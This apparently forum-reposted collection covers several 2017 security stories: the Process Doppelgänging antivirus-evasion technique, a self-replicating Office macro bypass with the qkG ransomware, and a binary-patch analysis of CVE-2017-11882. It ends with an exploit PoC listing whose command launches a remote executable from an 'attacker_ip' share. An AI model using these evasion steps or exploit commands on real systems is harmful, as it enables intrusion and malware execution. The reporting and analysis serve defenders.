A team of security researchers has discovered a new malware evasion technique that could help malware authors defeat most of the modern antivirus solutions and forensic tools.
Dubbed Process Doppelgänging, the new fileless code injection technique takes advantage of a built-in Windows function and an undocumented implementation of Windows process loader.
Ensilo security researchers Please login or register to see this link. and Eugene Kogan, who discovered the Process Doppelgänging attack, Please login or register to see this link. their findings today at Black Hat 2017 Security conference held in London.
Process Doppelgänging Works on All Windows Versions
Apparently, Process Doppelgänging attack works on all modern versions of Microsoft Windows operating system, starting from Windows Vista to the latest version of Windows 10.
Tal Liberman, the head of the research team at enSilo, told The Hacker New that this malware evasion technique is similar to Process Hollowing—a method first introduced years ago by attackers to defeat the mitigation capabilities of security products.
In Process Hollowing attack, hackers replace the memory of a legitimate process with a malicious code so that the second code runs instead of the original, tricking process monitoring tools and antivirus into believing that the original process is running.
Since all modern antivirus and security products have been upgraded to detect Process Hollowing attacks, use of this technique is not a great idea anymore.
On the other hand, Process Doppelgänging is an entirely different approach to achieve the same, by abusing Windows NTFS Transactions and an outdated implementation of Windows process loader, which was originally designed for Windows XP, but carried throughout all later versions of Windows.
Here's How the Process Doppelgänging Attack Works:
Before going further on how this new code injection attack works, you need to understand what Windows NTFS Transaction is and how an attacker could leverage it to evade his malicious actions.
Please login or register to see this link. is a feature of Windows that brings the concept of atomic transactions to the NTFS file system, allowing files and directories to be created, modified, renamed, and deleted atomically.
NTFS Transaction is an isolated space that allows Windows application developers to write file-output routines that are guaranteed to either succeed completely or fail completely.
According to the researcher, Process Doppelgänging is a fileless attack and works in four major steps as mentioned below:
Transact—process a legitimate executable into the NTFS transaction and then overwrite it with a malicious file. Load—create a memory section from the modified (malicious) file. Rollback—rollback the transaction (deliberately failing the transaction), resulting in the removal of all the changes in the legitimate executable in a way they never existed. Animate—bring the doppelganger to life. Use the older implementation of Windows process loader to create a process with the previously created memory section (in step 2), which is actually malicious and never saved to disk, "making it invisible to most recording tools such as modern EDRs."
Process Doppelgänging Evades Detection from Most Antiviruses
Liberman told The Hacker News that during their research they tested their attack on security products from Windows Defender, Kaspersky Labs, ESET NOD32, Symantec, Trend Micro, Avast, McAfee, AVG, Panda, and even advance forensic tools.
In order to demonstrate, the researchers used Mimikatz, a post-exploitation tool that helps extract credentials from the affected systems, with Process Doppelgänging to bypass antivirus detection.
When the researchers ran Mimikatz generally on a Windows operating system, Symantec antivirus solution caught the tool immediately, as shown below:
However, Mimikatz ran stealthy, without antivirus displaying any warning when executed using Process Doppelgänging, as shown in the image at top of this article.
Liberman also told us that Process Doppelgänging works on even the latest version of Windows 10, except Windows 10 Redstone and Fall Creators Update, released earlier this year.
But due to a different bug in Windows 10 Redstone and Fall Creators Update, using Process Doppelgänging causes BSOD (blue screen of death), which crashes users' computers.
Ironically, the crash bug was patched by Microsoft in later updates, allowing Process Doppelgänging to run on the latest versions of Windows 10.
I don't expect Microsoft to rush for an emergency patch that could make some software relying on older implementations unstable, but Antivirus companies can upgrade their products to detect malicious programs using Process Doppelgänging or similar attacks.
This is not the very first time when enSilo researchers have discovered a malware evasion technique. Previously they discovered and demonstrated Please login or register to see this link. which also abused a designing weakness in Windows OS.
In September, enSilo researchers also disclosed a 17-year-old programming error in Please login or register to see this link. that prevented security software from detecting malware at runtime when loaded into system memory.
Via Please login or register to see this link.
Earlier this month a cybersecurity researcher shared details of a security loophole with The Hacker News that affects all versions of Microsoft Office, allowing malicious actors to create and spread macro-based self-replicating malware.
Macro-based self-replicating malware, which basically allows a macro to write more macros, is not new among hackers, but to prevent such threats, Microsoft has already introduced a security mechanism in MS Office that by default limits this functionality.
Lino Antonio Buono, an Italian security researcher who works at Please login or register to see this link. , reported a simple technique (detailed below) that could allow anyone to bypass the security control put in place by Microsoft and create self-replicating malware hidden behind innocent-looking MS Word documents.
What's Worse? Microsoft refused to consider this issue a security loophole when contacted by the researcher in October this year, saying it's a feature intended to work this way only—just like Please login or register to see this link. , which is now actively being Please login or register to see this link. .
New 'qkG Ransomware' Found Using Same Self-Spreading Technique
Interestingly, one such malware is on its way to affect you. I know, that was fast—even before its public disclosure.
Just yesterday, Trend Micro Please login or register to see this link. a report on a new piece of macro-based self-replicating ransomware, dubbed "qkG," which exploits exactly the same MS office feature that Buono described to our team.
Trend Micro researchers spotted qkG ransomware samples on VirusTotal uploaded by someone from Vietnam, and they said this ransomware looks "more of an experimental project or a proof of concept (PoC) rather than a malware actively used in the wild."
The qkG ransomware employs Auto Close VBA macro—a technique that allows executing malicious macro when victim closes the document.
The latest sample of qkG ransomware now includes a Bitcoin address with a small ransom note demanding $300 in BTC as shown.
It should be noted that the above-mentioned Bitcoin address hasn't received any payment yet, which apparently means that this ransomware has not yet been used to target people.
Moreover, this ransomware is currently using the same hard-coded password: "I’m QkG@PTM17! by TNA@MHT-TT2" that unlocks affected files.
Here's How this New Attack Technique Works
In order to make us understand the complete attack technique, Buono shared a video with The Hacker News that demonstrates how an MS Word document equipped with malicious VBA code could be used to deliver a self-replicating multi-stage malware.
If you are unaware, Microsoft has disabled external (or untrusted) macros by default and to restrict default programmatic access to Office VBA project object model, it also offers users to manually enable "Trust access to the VBA project object model," whenever required.
With "Trust access to the VBA project object model" setting enabled, MS Office trusts all macros and automatically runs any code without showing security warning or requiring user's permission.
Buono found that this setting can be enabled/disabled just by editing a Windows registry, eventually enabling the macros to write more macros without user's consent and knowledge.
As shown in the video, a malicious MS Doc file created by Buono does the same—it first edits the Windows registry and then injects same macro payload (VBA code) into every doc file that the victim creates, edits or just opens on his/her system.
Victims Will be Unknowingly Responsible for Spreading Malware Further
In other words, if the victim mistakenly allows the malicious doc file to run macros once, his/her system would remain open to macro-based attacks.
Moreover, the victim will also be unknowingly responsible for spreading the same malicious code to other users by sharing any infected office files from his/her system.
This attack technique could be more worrisome when you receive a malicious doc file from a trusted contact who have already been infected with such malware, eventually turning you into its next attack vector for others.
Although this technique is not being exploited in the wild, the researcher believes it could be exploited to spread dangerous self-replicating malware that could be difficult to deal with and put an end.
Since this is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code, neither the tech company has any plans of issuing a patch that would restrict this functionality.
Buono suggests "In order to (partially) mitigate the vulnerability it is possible to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator."
The best way to protect yourself from such malware is always to be suspicious of any uninvited documents sent via an email and never click on links inside those documents unless adequately verifying the source.
Via Please login or register to see this link.
Did Microsoft Just Manually Patch Their Equation Editor Executable? Why Yes, Yes They Did. (CVE-2017-11882)By OKQL
A Pretty Old Executable
The recent Patch Tuesday brought, among other things, a new version of "old" Equation Editor, which introduced a Please login or register to see this link. reported by Please login or register to see this link. .
The "old" Equation Editor is an ancient component of Microsoft Office (Office now uses an integrated Equation Editor), which is confirmed by looking at the properties of the unpatched EQNEDT32.EXE:
We can see that File version is 2000.11.9.0 (implying being built in 2000), while Date modified is in 2003, which matches the time of its signature (signing modifies the file as the signature is attached to it.) Furthermore, the Please login or register to see this link. (3A0ACEBF), which the compiler writes into the executable module when building it, indicates that the file was built on November 9, 2000 - exactly matching the date in the above version number.
We're therefore safe to claim that the vulnerable EQNEDT32.EXE has been with us since 2000. That's 17 years, which is a pretty respectable life span for software!
So now a vulnerability was reported in this executable and Microsoft spawned their fixing procedure: they reproduced the issue using Embedi's proof-of-concept, confirmed it, took the source code, fixed the issue in the source code, re-built EQNEDT32.EXE, and distributed the fixed version to Office users, who now see version 2017.8.14.0 under its properties.
At least that's how it would work for most other vulnerabilities. But something was different here. For some reason, Microsoft didn't fix this issue in the source code - but rather by manually patching the binary executable.
Manually Patching an EXE?
Really, quite literally, some pretty skilled Microsoft employee or contractor reverse engineered our friend EQNEDT32.EXE, located the flawed code, and corrected it by manually overwriting existing instructions with better ones (making sure to only use the space previously occupied by original instructions).
How do we know that? Well, have you ever met a C/C++ compiler that would put all functions in a 500+ KB executable on exactly the same address in the module after rebuilding a modified source code, especially when these modifications changed the amount of code in several functions?
To clarify, let's look at BinDiff results between the fixed (2017.8.14.0, "primary") and vulnerable version (2000.11.9.0, "secondary") of EQNEDT32.EXE:
If you're diffing binaries a lot, you'll notice something highly peculiar: All EA primary values are identical to EA secondary values of matched functions. Even the matched but obviously different functions listed at the bottom are at the same address in both EQNEDT32.EXE versions.
As we already Please login or register to see this link. , Microsoft modified five functions in EQNEDT32.EXE, namely the bottom-most five functions listed on the above image. Let's look at the most-modified one first, the one at address 4164FA. The patched version is on the left, the vulnerable one on the right.
This function takes a pointer to the destination buffer and copies characters, one by one in a loop, from user-supplied string to this buffer. It is also the very function that Embedi found to be vulnerable in their research; namely, there was no check whether the destination buffer was large enough for the user-supplied string, and a too-long font name provided through the Equation object could cause a buffer overflow.
Microsoft's fix introduced an additional parameter to this function, specifying the destination buffer length. The original logic of the character-copying loop was then modified so that the loop ends not only when the source string end is reached, but also when the destination buffer length is reached - preventing buffer overflow. In addition, the copied string in the destination buffer is zero-terminated after copying, in case the destination buffer length was reached (which would leave the string unterminated).
Let's look at the code in its text form (again, patched function on left, vulnerable on right):
As you can see, whoever patched this function not only added a check for buffer length in it, but also managed to make the function 14 bytes shorter (and padded the resulting gap before the adjacent function with 0xCC bytes for style points :). Impressive.
Patching The Callers
Moving on. If the patched function got an additional parameter, all those calling it would have to change as well, right? There are exactly two callers of this function, at addresses 43B418 and 4181FA, and in the patched version they both have a push instruction added before the call to specify the length of their buffers, 0x100 and 0x1F4 respectively.
Now, a push instruction with a 32-bit literal operand takes 5 bytes. In order to add this instruction to these two functions while staying within the tight space of the original code (whose logic must also remain intact), the patcher did the following:
For function at address 43B418, the patched function temporarily stores some value - which it will need later on - in ebx instead of a local stack-based variable, which releases enough bytes for injecting the push call. (By the way, addievidence of manual patching is that while the local variable is no longer used, space for it is still made on the stack; otherwise sub esp, 0x10C would turn into sub esp, 0x108.)
For the other caller, function at address 4181FA, the patched function mysteriously has the push instruction injected without any other modifications to the code that would introduce the needed extra space.
As you can see on the above image, the push instruction is injected at the beginning of the yellow block, and all original instructions in that block are pushed down 5 bytes. But why does this not overwrite 5 bytes of the original code somewhere else? It's as if there were 5 or more unused bytes already in existence just after this block of code that the patcher could safely overwrite.
To solve this mystery, let's look at the code in its text form.
Surprise, the vulnerable version actually had an extra jmp loc_418318 instruction at the end of the modified code block. How convenient! This allows the code in this block to be moved down 5 bytes, making space for the push instruction at the top.
Coincidence? Perhaps, but it looks an awful lot like this code block got manually modified before in the past, whereby it got shortened for 5 bytes and its last instruction (jmp loc_418318) was left there.
Additional Security Checks
What we've covered so far was related to Embedi's published research and CVE-2017-11882. Their described buffer overflow would now be prevented by checking for the destination buffer length. But the new version of EQNEDT32.EXE has two additional modified functions at addresses 41160F and 4219F0. Let's have a look at them.
In the patched executable, these two functions got a bunch of injected boundary checks for copying to what appear to be 0x20-byte buffers. These checks all look the same: ecx (which is the counter for copying) is compared to 0x21; if it's greater than or equal to that, ecx gets set to 0x20. All these checks are injected right before inlined memcpy operations. Let's look at one of them to see how the patcher made room for the additional instructions.
As shown on the above image, a check is injected before the inlined memcpy code. Note that in 32-bit code, memcpy is typically implemented by first copying blocks of 4 bytes using the movsd (move double word) instruction, while any remaining bytes are then copied using movsb (move byte). This is efficient in terms of performance, but whoever was patching this noticed that some space can be freed by only using movsb, and perhaps sacrificing a nanosecond or two. After doing so, the code remained logically identical but now there was space for injecting the check before it, as well as for zero-terminating the copied string. Again, an impressive and clever hack (and there was still an extra byte to spare - notice the nop?)
There are six such length checks in two modified functions, and since they don't seem to be related to fixing CVE-2017-11882, we believe that Microsoft noticed some additional attack vectors that could also cause a buffer overflow and decided to proactively patch them.
After patching the vulnerable code and effectively manually building a new version of Equation Editor, the patcher also corrected the version number of EQNEDT32.EXE to 2017.8.14.0, and the TimeDateStamp in the PE header to August 14, 2017 (hex value 5991FA38) - which is just 10 days after Microsoft acknowledged receipt of Embedi's report. (Note however that due to the manual nature of setting these values it's possible that code has been modified after that date.)
[Update 11/20/2017] Another thing Microsoft also patched in EQNEDT32.EXE was the "ASLR bit", i.e., they set the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag in the Please login or register to see this link. :
This is good. Enabling ASLR on EQNEDT32.EXE will make it harder to exploit any remaining memory corruption vulnerabilities. For instance, Embedi's exploit would not work with ASLR because it relied on the fact that the call to WinExec would always be present at the same memory address; this allowed them to simply put that address on stack and wait for the ret to do all the work.
Interestingly, Microsoft decided not to also set the IMAGE_DLLCHARACTERISTICS_NX_COMPAT ("DEP") flag, which would prevent code execution from data pages (e.g., from stack). They surely had good reasons, but should any additional vulnerabilities be found and exploited in EQNEDT32.EXE, the exploit will likely include execution of data on stack or heap. [End update 11/20/2017]
Maintaining a software product in its binary form instead of rebuilding it from modified source code is hard. We can only speculate as to why Microsoft used the binary patching approach, but being binary patchers ourselves we think they did a stellar job.
This old Equation Editor is now under the spotlight, and many researchers are likely to start fuzzing it for additional vulnerabilities. If any are found, we'll probably see additional rounds of manual binary patches in EQNEDT32.EXE. While Office has had a new Equation Editor integrated since at least version 2007, Microsoft can't simply remove EQNEDT32.EXE (the old Equation Editor) from Office as there are probably tons of old documents out there containing equations in this old format, which would then become un-editable.
Now how would we micropatch CVE-2017-11882 with 0patch? It would actually be much easier: we wouldn't have to shrink existing code to make room for the injected one, because 0patch makes sure that we get all the space we need. So we wouldn't have to come up with clever hacks like de-optimizing memcpy or finding an alternative place to temporarily store a value for later use. This freedom and flexibility makes developing an in-memory micropatch much easier and quicker than in-file patching, and we believe software vendors like Microsoft could benefit greatly from using in-memory micropatching for fixing critical vulnerabilities.
Oh by the way, Microsoft also updated Office's wwlib.dll this Patch Tuesday, prompting us to port our Please login or register to see this link. to these new versions. 0patch Agent running on your computer will automatically download and apply these new patches without interrupting you. If you don't have 0patch Agent installed yet, we have good news for you: IT'S FREE! Just Please login or register to see this link. , install and register, and you're all set.
Please login or register to see this link.
Please login or register to see this link.
P.S.: If you happen to know the person(s) who did the binary patching of EQNEDT32.EXE, please send them a link to this blog post. We'd like them to know how much we admire their work. Thanks!
Please login or register to see this link.
Microsoft Office - OLE Remote Code Execution Exploit
CVE-2017-11882: Please login or register to see this link. MITRE CVE-2017-11882: Please login or register to see this link. Research: Please login or register to see this link. Patch analysis: Please login or register to see this link. DEMO PoC exploitation:
A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.
The first command which triggers WebClient service start may look like this:
cmd.exe /c start \\attacker_ip\ff Attacker controlled binary path should be a UNC network path:
webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
Download: Please login or register to see this link.
git clone https://github.com/embedi/CVE-2017-11882.git Mirror:
Please login or register to see this link.